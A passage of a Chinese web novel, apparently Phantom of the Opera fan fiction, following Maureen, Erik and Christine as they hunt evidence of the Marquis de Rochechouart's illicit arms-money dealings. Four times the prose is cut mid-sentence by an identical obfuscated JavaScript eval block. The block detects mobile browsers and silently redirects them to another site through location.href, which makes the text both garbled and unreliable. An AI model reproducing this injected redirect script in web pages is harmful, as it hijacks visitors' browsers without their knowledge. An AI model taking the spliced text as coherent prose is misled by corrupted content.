她言语中的讽刺意味很足，以至于那位侍女登时有些脸热。 莫琳先是瞟了一眼梅格，然后冷冷地说： “行了，杜布瓦，你知道该怎么处理这种事，将她带下去吧。” 她现在的注意力完全不在什么侍女或者账簿的身上了，而是梅格。 ——刚才的事绝不会是梅格·吉里能做出来的。 她的性格从不会这么大胆地嘲讽人，还是在罗什舒亚尔的地盘。 莫琳用狐疑的目光打量了一圈梅格，对方却依旧镇定自若。甚至，她还好整以暇地盯着杜布瓦将那个插嘴的侍女拉下去受罚。 这更不对劲了！ 如果是梅格，她早就会因莫琳的目光而停下手上的一切动作，问她是不是有什么地方自己没做好的，更别提要看着别人遭殃了。 要么是她在这短短一周内脱胎换骨了，要么就是有人冒充她。 可面前坐着的人有着和梅格如此相似的脸，就连雀斑都如出一辙，如果不是她的话还能是谁呢？ 等看着杜布瓦带走那个侍女后，梅格才重新开口。 “有件事您也许会感兴趣，”梅格没有理会她这位女经理的不对劲。她一边说，一边把一张叠成方块的纸递到莫琳手里，“这是歌剧院最新的财务报表，您最好仔细看看。” 她碰到她的手时留下了两分残余的温度。 莫琳此刻更加确信了，那绝不是一双女人的手！那上边带着薄茧，骨节宽大，掌心粗厚，更像是那只时常对她施以威胁的手。 会是谁，即使冒着被罗什舒亚尔发现的风险，也要冒充梅格来见她呢？ 虽然疑惑，但莫琳还是照她所说的将那张纸收了起来。 她不确定‘她’想做什么，但她知道自己得为‘她’创造机会。 “去拿纸笔进来，”莫琳假作镇定，若无其事地支开了房间里剩下的最后一位侍女，“我要给歌剧院签一张新的支票。” 她在心里找到了一个怀疑对象。 但莫琳没有作声，而是先翻开了那张叠成方块的纸。 ——是一张编号为0089的订单 下方详细罗列着一批军火预入库的详情。 最末尾一条，货款支付地址写着“莫科桑公司。” 即使她不知道这家公司的所有者是谁，但很明显，这绝不是隶属于莱斯曼家族的。 “你打算怎么做？”，莫琳将纸条丢在桌上，她心里的猜测已经得到了印证。 “还是说，你想先告诉我幽灵什么时候有了冒充女人的癖好？” 梅格的相貌的确十分具有迷惑性，可像埃里克这样既有本事出现在各种场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083251|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合，又喜欢在权贵们的灰色交易中搅浑水的可就不多了。 “我太好奇了，你怎么发现是我的呢？” 这回埃里克不再装了。 他恢复了自己的声音，坐得离莫琳更近了一些。 面前有一张令人心痒的小几，即使梅格的裙装本不能允许他这么做，但他还是用极其怪异的姿势将脚搁在上边架起了腿。 “我什么也没有暴露”，埃里克自言自语地说：“的确有些事情是梅格不会做的，但你一点儿证据也没有。” “你为什么不将我认作阿梅莉，或者奥斯顿呢？” 埃里克摸着自己的耳朵：“也许是因为这里缺少一个穿孔。” 这个疯子。 他扮成一个女人公然踏进罗什舒亚尔家，不警惕那些随时会出现的侍女和守卫，竟然还在这儿纠结起为什么会被揭穿这回事？ 莫琳冷冷道：“梅格的耳朵上没有穿孔，那是阿梅莉的习惯。” “如果下次你有扮成她的打算，那么就等到那个时候再考虑这件事吧。” “好主意。” 埃里克笑着回答；“但我不是为了精进易容术才来的。” 他捡起桌上的纸条，故意在莫琳眼前晃了晃： “别告诉我你对这不感兴趣。” “这么张入账单能说明什么呢？”莫琳问：“仅凭此你就想敲莫里斯一笔吗？” 这笔入账看上去就不正常，其中很可能参杂了不知名的利润方。 她不是不知道，莱斯曼家的军火生意一定不会有那么干净。莫里斯大概率会在入账单上作假，以此来谋取高额的利润。但以这张入账单作为证据好像太单薄了一些。 不过与此同时，她还犯了另一个错误 ——她以为埃里克的目的仅仅只有敲诈那么简单。 “如果我告诉你，不仅仅只有入账单呢？”埃里克不紧不慢地说： “真正重要的，是由这家莫科桑公司签发的付款票据。这一笔占据了足足三成的货款，却只有一个慈善基金的名头。你不妨猜猜收款人会是谁？” “莫里斯总不会蠢到又把钱转会莱斯曼家族的账户里吧？” “错。” 埃里克没有直接给出正确答案。他环视一圈周围，突然问了一个毫不相干的话题： “你在这个地方，待得还算满意吗？” 从罗什舒亚尔的前厅走到莫琳的小会客室，一路过来，很容易发现侯爵对他新妻子的宠爱。 房间里的一切陈设，大到软塌，小到织物，用的都是最为昂贵的材料。 更别提在这个屋子里。只是与一个副手小姐的私人会面，除了贴身侍女，还另配有一位摇扇的，一位添茶的。 那个大胆到能撩起裙装独自攀索闯进黑湖的女人，竟然成了在紧密监视之下被豢养的金丝雀。埃里克对此感到十分诧异。 他既不解为什么莫琳甘愿困于这么一个小小的卧房，也不解她生活习惯上的改变。 对此，他苦思冥想也只能得出一个结论。 ——那就是她之所以这么做的原因都是由于形势所迫。 他想，如果这时候他抛出一个能够推翻侯爵的诱饵，她会上钩吗？ 35.借口 “我的意思是，如果你知道收款人是你现在所待着的罗什舒亚尔家族，你怎么想？” “莱斯曼和罗什舒亚尔？” 莫琳心中一跳。 虽然她没有在神色上显露出来，内心却翻涌起不小的波澜。 怪不得他会让阿梅莉当作制衡的棋子，怪不得，怪不得莱斯曼家必须有人向罗什舒亚尔表示忠诚。 埃里克敏锐地捕捉到，就在刚才莫琳重复自己的话时，她的眉心细微下压，眼神飘忽不定，这显然是在心中有所计谋的显现。他颇有些自得地想，这条聪明的鱼竟也会上钩。 既然如此，那么她一定是被迫留在罗什舒亚尔所为她打造的牢笼里的。 即使她没有回答刚才的问题，他也可以默认她的处境。 带着这种揣测，埃里克好心情地问： “别大惊小怪的。你那么聪明，就没有想过在莫里斯把你卖给罗什舒亚尔的时候，他们之间有什么肮脏的交易吗？” 当然想过。 莫琳在心里回答。 但她没想过这两人的图谋会这么大。 想也知道罗什舒亚尔在这其中扮演的是个什么角色。他在市政厅的职位很容易帮助促成莱斯曼家的巨额订单。 这已经不是简单的虚报价格了，而是勾结政府官员，通过虚构交易来进行资金转移的恶劣行径。 如果被王室知道，那么不仅是莱斯曼，罗什舒亚尔也别想保住他的脑袋。 莫琳深知，这张纸条只不过是能够帮助撕开无边黑暗的一个小裂口。在她发现他们的同时，他们也有同样的可能性感受到她的注视。如果他们知道有人正窥探自己的秘密，这个人还和自己共处一室，下一步必然会降临死亡的威胁。 但莫琳所受过的威胁还少吗？她最擅长的不正是在危机中寻找机会吗？ 虽然这会将自己置身于新的陷阱，但这也会是一个制衡罗什舒亚尔的好办法。 哪有既能吃上一笔不菲的回扣，还能利用联姻绑住自己利益伙伴这样两全其美的好事呢？ “你确定付款票据就在这里吗？”莫琳问。 她已经迫不及待要在这件事上有所动作了。 可惜，没等听到埃里克的回答，被她指派出去拿纸笔的侍女回来了。 “夫人....您....！” 看到副手小姐的坐姿，侍女大惊失色地叫了出来。 好在埃里克似乎是对此类突发事件有所防备，只是转身之间就出现在了侍女身后。在她的惊呼声引来其他人之前，侍女只觉脖颈处一痛就失去了知觉。 埃里克从背后将她打晕了。 他瞥了一眼倒在地上的人，嫌弃地说： “很麻烦，自从你嫁到罗什舒亚尔家之后。” 不能随时随地见到她，还必须留神处理她身边这些棘手的人。 如果是在歌剧院，如果她名字后边还没有冠上那个恶心的罗什舒亚尔...... 埃里克没有继续往下想，他对她的关注已经在不知不觉之间超出正常边界了。 尤其是在他彻底接管了奥斯顿·克罗宁的身体以后。 那家伙对她的爱慕有种近乎病态的依恋，以至于他不得不遵从身体的意愿待在她身边。 有时候脑海里突然冒出的声音会将他吓上一跳，那个声音问： “奥斯顿·克罗宁是否只是一个你朝她靠近的借口？” 莫琳没有注意到他的异样，她反驳道：“可我看你也并不像是嫌麻烦的人，不然也不会大费周章扮成梅格来见我了。” 她又说：“我不知道罗什舒亚尔与你有过节？” 莫琳的意思是，他为什么要将这条宝贵的消息告诉她。 她可没有自恋到觉得埃里克会大发善心来帮自己一把。 即使她身上的毒已经解了，他们俩之间也算不上什么能够和平共处的关系，更别提做什么免费的好事。 “还有，我能在罗什舒亚尔的办公室找到对应的付款票据，对吗？” 她对于之前没有得到答案的话题不依不饶。 不知道为什么，她在这件事上十分执着。 从好的地方想，埃里克放下的诱饵确实钓到了鱼，她对于如何推倒罗什舒亚尔很感兴趣；从坏的地方想，莫琳出手向来不分轻重，谁知道她会把巴黎这滩浑水搅成什么样子呢？ 但埃里克又不是个好人，他当然顾不上什么‘维持平静秩序’的责任，那些东西也与他无关。他迫不及待地看到莫琳揭开他们所伪装的表面安宁了。 所以，他很乐意告诉她答案。 “是的，如你所想，”埃里克微笑着回答她：“而如果你非要问为什么，” “我只能告诉你，我受一个老朋友的嘱托。” 老朋友的嘱托？ 莫琳有些困惑。 这世界上怎么可能存在一个同时认识他们两个的，所谓的老朋友呢？ 还没等她将困惑说出口，埃里克就继续说道： “接下来你要做什么那是你的事，与我无关。我会在五号包厢里等着《塔拉勒》第一场演出。希望如你所说的那样，《塔拉勒》值得由我亲自改编。” 他创作过不少歌剧，却鲜少有几部真正有机会被搬上舞台。即使有那么几部得以被人看见，甚至获得喝彩，也没有人知道作者的署名是谁。 《塔拉勒》却不一样。 这不仅是他第一次出手改编的剧目，也是第一次有人恳求他这么做。 他很期待，《塔拉勒》是否能够真正地如他们所愿。 “当然了，假如你找到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091543|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张付款票据......作为这条消息的回报，我希望你能将它交给我。” 埃里克看着莫琳随着他提到回报时逐渐转变的脸色，感到十分有趣。 “这是关键证据，”莫琳显然不太情愿这么做，她拒绝道：“我不认为我们什么时候达到了合作的共识。” “合作的共识？”埃里克重复了一遍，流露出一种可以被称之为受伤的神情。 “很伤心听到你这么说，尤其是在我刚刚才帮了你之后。” 这种神情流露在他的面孔上显得很怪异，更怪异的是，此刻他还仍然带着梅格的面具。假如此时此刻有不知情的人闯入，大概会以为她是遭到了哪个负心人的抛弃。 莫琳对现在的情形表现得不太自在，她找补道： “我的意思是，如果我们有共同的目标，或者了解双方各自目的，并能在取得结果后进行合理的收获分配，那么才能达到共享证据的基础。而很显然，我们之间既没有信任作为基础，也没有受到文书的保护。” “你是不是对我的要求太过抵触了？” 埃里克勾起嘴角，莫琳的长篇大论时刻提醒着他她是个严肃的生意人。 她对他没有信任，这太正常了，他可是曾经通过下毒来控制她的罪犯。如果对他没有一点儿警惕，那都不能算作是正常人。 可也往往是这种时候，他才能发现她原来有那么一点儿可爱。 “我帮了你很多，莫琳小姐，”埃里克逼近她：“我帮你修改了《塔拉勒》，帮你找出了罗什舒亚尔腐烂的根系，你这时候告诉我，我们连成为合作伙伴最基础的条件也不满足？” “我可从没有向你要求过这种东西，你是不是太区别对待了呢？” “我问了你为什么。” 莫名其妙地，莫琳竟然感受到了一丝慌张。 她慌忙地捡起刚才埃里克的回答作为反驳：“你有理由，你是受老朋友的嘱托。” “即使连你也不知道那个老朋友是谁？” 这下她无话可说了。 她就应该在刚才顺着他的话问个清楚的。 “好了，”莫琳妥协道：“如果我找到了那张付款票据，我会告诉你。另外，我相信罗什舒亚尔手上还会有更多其他的证据能够作为消息的回报。” “这才是我想听到的。” 埃里克满意地掸了掸手，站起来把那个刚才被打晕的侍女拖到了门后的暗角。 “你的贴身侍女已经在门口了，她不会想看到这个场面的。” “我们下次再见，莫琳。” “下一次不要伪装成梅格了，”莫琳好心地提醒他：“见我有很多种方式。万一，我下次没有分清你们俩，对你做了只会对女人做的事，可就不太好了。” “值得考虑。” 36.客人 虽然埃里克来见她的目的不在于歌剧院，但他难得的将事情办得很稳妥。莫琳吩咐给‘梅格’的事都被照规矩完成了，其中包括她要求的，新女高音的试唱。 “夫人，您的客人到了，”侍女从屏风后边牵出一个人影。 “克莉丝汀？” 莫琳放下了茶杯。 人影逐渐在视野里变得清晰。 那张白皙小巧的脸，葡萄般的眼睛，还有忧愁的目光，不是克莉丝汀还能是谁呢？ “请原谅我，” 还没等众人反应过来，面前的女孩已经跪在了莫琳面前。 “是我被欲望冲昏头脑，是我太贪心，请您让我回到歌剧院吧，即使从头开始也好。” “你不是和拉乌尔北上了吗？那家伙呢？”莫琳疑惑地问。 据她所知，在革命爆发以后，拉乌尔为了避免身处漩涡，立刻带着自己的未婚妻北上避难，只留下了管家在巴黎。算算日子，他们早就该到地方了。 “他走了。” 听到拉乌尔的名字，克莉丝汀低下头： “我们的婚约解除了。我回来找您，不奢求您能够让我重返原先的位子，但求在歌剧院里能有演出的机会。” “你得先告诉我发生了什么”，莫琳让身边人都退出了房间，说：“如果你是担心隐私问题，除了我们以外，不会有第三个人知道的”。 “就是.....就是那么回事。” 在这个问题上，克莉丝汀显得有些难以启齿。好一会儿以后，她才鼓足勇气开口： “我们离开之后没多久，拉乌尔的经济来源就被断了。他的哥哥勒令他回到巴黎，不然就让北方的人对我们实施禁行。” “拉乌尔没有听，我们在那里受到一位伯爵女儿的资助，并赖此生活。时间长了以后.....他就爱上了她。” 克莉丝汀的故事很简短，但经历却是惨痛的。 她为拉乌尔所付出的几乎是她所有的人生，但得到的却只有寥寥数语，姑且被称之为教训。 莫琳盯着克莉丝汀看了一会儿。 她发觉在这短短几个月的时间里，这姑娘褪去了不少稚嫩。也许是艰难环境总是逼迫人迅速成长，她竟然能从他脸上看出几丝坚韧了。 “那就如你所愿吧，回到歌剧院，回到你女高音的位子。” 克莉丝汀终于抬起头。 她不可思议地看向自己的女经理。 她知道她是个公正的人，向来将歌剧院放在首位，不然也不可能让她在一开始有上台的机会。可她会在自己的背叛后再次让她回来，甚至不需要任何条件就重新获得女高音的位置，这是她做梦也没有想过的。 “经理......我......” 克莉丝汀一时间有些语无伦次，不知道说什么才好。 莫琳：“得到见我的机会，你应该付出了很多努力吧？” 新任女高音是她从熟人那挖来的，即使是在北方，想要一个人孤身奋战，走到有权势者的面前，得到他们的认可，都足以证明克莉丝汀本人所付出的努力。 莫琳认为，已经没有必要再对她进行更多的考验了。 “我对不起您的赏识...... ”克莉丝汀的声音里逐渐带上哭腔，“您付给夏蒂永侯爵的费用我会悉数奉还，只要还能让我待在歌剧院里 ......” “这不是完全为了你，我也省去了再让新女高音和其余演员们磨合的苦恼，”莫琳安慰她：“当然，我依旧很期待从你口中听到新的曲调。” 克莉丝汀的突然到来给莫琳带来了一些新的想法。 她所思考的是，这说不定是一个能避开耳目的好机会。 自从埃里克向她透露了罗什舒亚尔和莱斯曼之间的勾当，她几乎做梦都想要把那张付款票据给找出来。可惜，白日里守在她身边的侍从们太多，而书房总会在入夜后上锁。她找不到合适的机会。 现在，既然新女高音是她熟悉的人，她无需真正费神去考量她，那么，她也许能为自己的不在场创造条件。 “我们换个地方怎么样？去花园里吧。我想听听你现在的嗓音。” 克莉丝汀不明白她的女经理想做什么，但她不会违背她的要求。 她独自站在花园的角落，在花丛簇拥中间吟唱着新的曲调，一首接着一首，好似永不会停歇。 而莫琳呢？她已经不见了。 在以“需要听新女高音试唱，且曲目需要暂时保密”的借口下，莫琳遣清了花园中除了她和克莉丝汀以外的所有人。 这个借口无法被拒绝，因为仆从们不必担心女主人的踪迹。只要听到克莉丝汀依旧在唱歌，她们就知道自己的女主人还待在那里。 罗什舒亚尔的书房。 莫琳已经搜遍了所有的抽屉和橱柜，就是没有看见任何和莱斯曼家交易相关的文件。 她的额头沁出薄薄的一层汗水。 留给她的时间已经不多了，她必须在这里有所进展。 还有最上层的书架没有翻过。 莫琳搬来椅子，站到上面勉强够到了四五层隔板，可最终还是一无所获。 在连续翻阅了数本和线索毫无关联的宗教书籍之后，莫琳泄气地推了一把书架，以此宣泄自己不满的情绪。当她打算从椅子上跳下来时，书架边上意外传来了木头相互碰撞的声音。 看上去后边还会有更大的空间。 获得一丝希望，莫琳又用力地朝左右两侧分别推了推书架。果不其然，那是一扇能够被推动的门。 她没有丝毫犹豫，在把椅子复位后，迅速走进去关上了门。 莫琳在书架后的房间里转了一圈。找到了不少精美奇伦的雕塑，一大箱子现金，还有和莱斯曼的交易合同，就是没有那张付款票据。 罗什舒亚尔是个谨慎的人。 他知道一旦被人发现，这些东西都足以将他送上断头台，于是他根本没有留下任何证据。 那张合同是走过明面的，挑不出任何问题。 这下扳倒罗什舒亚尔变成了难题。 即使埃里克手上有一张疑点重重的收款单，但仅凭此也说明不了任何事情。它证明不了罗什舒亚尔和莱斯曼的阴谋。 莫琳靠着门坐了下来。 她还是觉得罗什舒亚尔不会那么干脆地将证据都销毁了。 以他的性格，他一定会将这些材料都留下备份，以防止莫里斯哪一天和他撕破脸。这两人之间想要保持相互制衡的关系，就必须在手上留存对方的把柄。 就在这时，门外传来了说话的声音。 莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101452|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳一下子浑身紧绷了起来，她听出来那是罗什舒亚尔侯爵。 “回去告诉你的父亲，我不管他究竟用什么手段，圣马赛的秘密必须被保守！上次在歌剧院里所折腾出来的凶杀案已经够大了，这回我不会再替他收拾烂摊子。如果他不能解决掉那个人，就等着被揪到市政厅去谈话吧！” 紧接着，传来门被用力摔上的声音。显然这两个人没有在这个话题上达成一致。 莫里斯想解决的人是埃里克，这点莫琳很清楚，但他究竟抓住了关于他的什么把柄，才会引得莫里斯和罗什舒亚尔两个人都气急败坏，这还是未知的。 这句话里所隐含的新消息只有一个，那就是圣马赛。 在此之前，她还没有从任何人口中听过这个名词，像是个地名。 圣马赛？这地方有罗什舒亚尔的什么秘密？ 难道除了在军需费用上做假账以外，罗什舒亚尔还染指了什么别的生意吗？ 莫琳一边思考着，一边屏息留神着外边的动静。 既然侯爵已经回来了，克莉丝汀那儿想必拖不了太久。如果这家伙嚷嚷着要见她可就糟了，她必须立刻回到花园去。 克莉丝汀已经快要拖不住那些侍女了。 她的眼神控制不住地往花园外边瞟。 那里站着罗什舒亚尔夫人的贴身侍女杜布瓦，还有几个说不上名字的小仆从。她们看上去开始变得焦躁，屡屡将视线投往自己对面被灌木丛所遮挡着的位置。 她们想，这位新来的女孩在花园里唱了很久，久到足以证明她能够胜任女高音的位置了，为什么她们的女主人还不够满意呢？她为什么一言不发呢？ “唱成这样是想让歌剧院倒闭吗？！别再因为其他人分心！从第二幕开始，重来！” 就在侍女们满怀疑惑的时候，灌木丛后面传来女主人带着怒意的声音。 杜布瓦和其他几人对视一眼，默默后退了几步。 虽然隔得有些远，但这种语气和音调，确实只会属于罗什舒亚尔夫人。她们没什么可担心的了，也不再朝着克莉丝汀的方向投以怀疑的目光。 这些侍女们永远也不会知道，刚才发出声音的人会是刚才在会客厅里伏在夫人面前哭泣，看上去柔弱胆怯的克莉丝汀。 模仿莫琳是克莉丝汀所能在这里为她的女经理做的最大胆的举动。 她和她相处的时间不久，但起码比这些侍女们长，她也知道她说话时不喜欢拖长语调，在哪几个字眼上会加强重音。 克莉丝汀是一个不喜欢冒险的人，但却不是一个不懂得知恩图报的人，虽然她能做的很少，但莫琳为她做的却很多，她必须尽自己所能地去帮她。 而这一次，得益于作为歌者自然而然去观察和模仿的习惯，她侥幸成功了。 侍从们听不懂歌剧的好坏，但她们能听出来，自从经历过罗什舒亚尔夫人的挞伐后，这位女高音的曲调显然变得轻松欢快了。 不过杜布瓦这次没有感到太过意外了。 毕竟，为夫人工作的女性总是各有各的特别之处。例如上次那位副手小姐，她至今还能记得她是如何讥讽另一位侍女的，以至于她到现在还无法在主人面前抬起头来。现在看来，在罗什舒亚尔夫人的歌剧院里或许讽刺才是常态，也许她们是借此来激励人上进呢？ 37.端倪 莫琳可不知道杜布瓦背地里对自己的想法，她终于找到机会溜出了书房。 她一路小跑回到花园里，解救了又在提心吊胆的克莉丝汀。 “你做得很好！” 她毫不吝啬对她的赞美：“我不知道你用了什么办法，但她们压根没有注意到我不在场。克莉丝汀，如果不做女高音，你也会是个好演员的。” “能帮到您就太好了，”克莉丝汀不好意思地说：“我对新剧目还不够熟悉，很多地方唱得不好，但我会勤加练习的。” “即使你不这么说，我也会让梅格督促你的。” 莫琳朝她眨了眨眼： “《塔拉勒》对于歌剧院的重要程度你应该知道，我相信你会尽力的。接下来我们要做的，就只有等待了。” 莫琳所等的就是莫里斯承诺兑现的时候。 莫里斯没有食言。 之所以这么说，是因为莫琳收到了两封来信。 一封来自于王室，另一封则来自市政当局。 信中表明，王室负责人对于《塔拉勒》的改编非常感兴趣。他们表明，如果能够将几句台词得到更为恰当的修改，他们会十分乐意邀请玛丽·安托瓦妮特王后莅临观看。 大概率是得益于近期混乱不堪的巴黎政治舞台，市政当局的来信显得更为急迫和直白。他们迫切地希望看到《塔拉勒》的上演，并且表示，如果有任何能够帮上忙的，他们都十分乐意与莫琳进行进一步的沟通。 他们大概是被近日连续的抗议活动弄得焦头烂额，正愁没有一个机会来消磨大家的戾气，并以此向王室表示效忠。 这对莫琳来说当然也是好事，这意味着将有人负责修复和制作舞台装置的费用了。他们不会希望《塔拉勒》因为经费上的短缺而延迟上演。 而王后的莅临则大大超出了莫琳的预判。 她知道《塔拉勒》在此关键时期的意义非凡，但冒着风险亲自出现在歌剧院里，这位王后显然也是鼓足勇气才做此决定的。 不过，既然会迎来这样‘关键’的人物，莫琳当然不可能放弃这个绝佳的宣传机会。 她再次找到科尔。 这一次，不再是什么私人寻访，莫琳直接去了《晨报》的办公室。 这个年轻男人对于莫琳的到来总是十分乐意的。自从几个月前那篇关于巴黎美人的报道之后，她屡屡为他带来惊喜。直至今日，他已经从一位初级外派记者升到副主编的位置。 许多人耗其一生都没能完成的转变，就被莫琳·德·莱斯曼，这位伦敦来的小姐轻轻松松地完成了。 科尔对她的态度无法不热切。 但现在找上他，科尔怀疑这不会是场公平的交易。 她或许是来找自己索要报酬了。 他暗自想：最近歌剧院的生意惨淡，枪杀疑云迟迟没有散去。如果她是想找自己解决这件事的，自己该如何回应呢？ 可他又不得不谨慎地对待她的要求。 因为她现在不仅仅是那个曾经提携过他的德·莱斯曼小姐，更是如今的罗什舒亚尔夫人。 科尔照例亲吻了莫琳的手背： “很高兴再次和您见面，罗什舒亚尔夫人。” “还没来得及为您庆祝，科尔副主编，这真是件值得高兴的事。”莫琳回道：“您高升的速度想必比报社里任何人都要快，我看，过不了多久您就要摘掉那个前缀了。” 她为接下来自己要说的话做足了铺垫。 “副主编先生，我这次来就是为您送上好机会的。” 和她说话需要小心，这是科尔在之前几次和莫琳的交往中所得出的经验。不然的话，什么时候被她吃干抹净了也不会知道。 科尔谨慎地回答：“您太看得起我了，夫人。能坐到这个位置全靠总编的赏识和您的提携，我几乎不想什么别的了。” “每天能准点下班，和同事们喝上一杯勃艮第，这就最完美不过了。” “您是个聪明人，”莫琳权当没有听见他的推拒似的，“聪明人不会拒绝送上门的机会，也不会对我的话装聋作哑。我这回来带着十足的诚意，假如不是和您之间的交情，我也不会让《晨报》优先考虑成为这条消息的首家知情者。” 记者的敏锐嗅觉让科尔无法忽略莫琳话中那股独特的，属于金钱和挑战的味道。 尤其是她所说的那个词，独家。 “您不妨说说看？” 有了那张今早寄送到的信件作为底气，莫琳说这话时没有想过任何被拒绝的可能性： “王后的下一次公开行程将会在巴黎歌剧院，这是负责人亲笔承诺的。” 也正因为这张底牌足够响亮，她没必要再在这个事实上多费口舌了。 “是王后亲自前来吗？”科尔站了起来，激动溢于言表：“《塔拉勒》？怎么做到的？王后将近有一整年没有在公众场合露面了。” 他的表情已经说明了《晨报》一定会欣然接收这个消息，当然，也欣然接受这个消息所带来的一切好处。 “我都说了会是独家消息，”莫琳淡定地回答：“怎么样？这条消息能够推着您往总编的位置更近一步吗？” “德·莱斯曼小姐，哦不，罗什舒亚尔夫人，您知道的，您一直为我带来好运。” “但是，”科尔的眼珠子转了转，话锋急转：“恕我冒昧，您是怎么得到王室负责人承诺的呢？” 莫琳的语气变了：“你怀疑我伪造信件？” “不不，当然不是这个意思。” “只不过，我昨晚收到的消息和您不太一样，”科尔小心斟酌着自己的用词：“侯爵的吩咐是，剧目被砍，您的歌剧院重开无望，我们无需再在宣传上浪费时间了。” 莫琳站了起来。 “你知道你在说什么吗？”她细细的眉紧蹙着，眼睛眯了起来。 “你这是在挑拨侯爵和我的关系！” 这顶帽子扣下来，换做谁也承担不了。显然侯爵的消息是避开他这位新夫人所送出来的，出于某种原因，他不愿意看到歌剧院重新繁盛的景象。不过归根结底这都是他们自己家的事，如果他成了这个挑唆的罪人，谁知道他们两其中的任何一个会不会拿自己出气呢？ 科尔反应过来这不是他应该掺和进来的，连忙改口：“是我多嘴了，罗什舒亚尔夫人。都是我胡言乱语的，绝没有挑拨您和侯爵关系的意思，您就当什么也没听见吧，行吗？” 莫琳绷紧的嘴角这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123063|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才逐渐放松下来。 “是因为我们还算是朋友，我才没有与你追究，”莫琳勉强地说：“那么，下一次的头版头条，我想人们会在上边看到我的歌剧院吧？” “当然！”科尔一口答应下来：“整个篇幅都会是您的！” “还有那个，那个古怪的机器......” 科尔连忙接上：“卡维先生的照相机！” “对，没错。”莫琳接着说：“让卡维先生带上他的宝贝吧，如果有机会的话，我们说不定会得到一张非常宝贵的合照。” “那是当然！” 虽然结果是令人满意的，但科尔的话对莫琳来说是个警醒。 她竟然忽略了罗什舒亚尔侯爵这一茬。 他会看着自己的歌剧院重新繁荣，成长为不需要他扶持的摇钱树吗？ 莫琳怀疑，他是否偷看了这几日梅格和自己往来的信件。 可如果是这样，为什么这一次，最为关键的这一次信件没有被拦下来呢？甚至，他看上去像是对此完全不知情似的。 这不合理。 除非背着她有所动作的不止罗什舒亚尔，还有其他人。 回到罗什舒亚尔府邸以后，莫琳迫不及待地回到自己房间里更衣，并吩咐杜布瓦： “明天从歌剧院里带一个人来，我要见他。” 意料中的回答没有传来，取而代之的是一个熟悉的男声。 ——“你想见谁？” 莫琳转过头，原先应该站着杜布瓦的地方空荡荡的。侍女们不知道去了哪里，只留下这个漆黑的影子占据着她最喜欢的一把躺椅。 是埃里克。 “你今天没有扮成其他人。” 莫琳冷静地陈述出一个事实，像是已经对他的突然出现习以为常了。 “是我吗？”埃里克没有理会她的话，而是坚持想要得到上一个问题的答案： “你想见的人是我吗，莫琳小姐？” “别自作多情了，”莫琳冷冷地瞥了他一眼，说：“我有正事要办。” “不如你先告诉我要见的人是谁，我帮你把他带过来”，他一副不得到答案不罢休的样子。 “奥斯顿·克罗宁。” 莫琳不想再和他耗费时间打哑谜，干脆告诉了他这个名字。 “住在圣马赛的克罗宁，你不认识他。” 从她口中听到奥斯顿的名字并不在埃里克的意料之中，他感受到，自己身体里的另一个灵魂急迫地想要涌动出来。 他想夺回自己的身体，他想代替他出现在这个女人面前。 这种感觉既奇异，又激发他恶劣的心思。 毕竟他很少有机会能够真正在现实中压过主人格一头。要知道，即使奥斯顿平庸、穷困，只能囿于歌剧院一角做些力气活，可仅凭他正常人的身份与外貌，埃里克就永远也无法与他相比。 “我当然知道，”埃里克强压着兴奋回答：“是你那个小侍卫。你要找他做什么？” 莫琳看了他一眼。 这家伙最近的好奇欲愈发旺盛，以至于连自己的每一步动作都迫切地想要了解。 “如果你能代替他告诉我想要的消息，我或许就不用再找他了。” 38.真实与虚假 埃里克：“你想知道什么？” “圣马赛，我想知道罗什舒亚尔和圣马赛的关系。” 能够这么快摸到圣马赛，埃里克着实有些惊讶于莫琳的速度。她一定是找机会调查过罗什舒亚尔了，并且还翻到了些重要的东西。 但他不想就这么告诉她答案。 埃里克想知道，如果仅凭她自己，莫琳能够走到哪一步。 “哦？你翻了他的户籍证明？”埃里克问。 莫琳却执着地看着他，并不打算告诉他自己通过什么得知克罗宁的来历。 在埃里克的视野里，她就是这样一副如果得不到答案就会立刻甩脸走人，不再和他浪费一秒钟的模样。 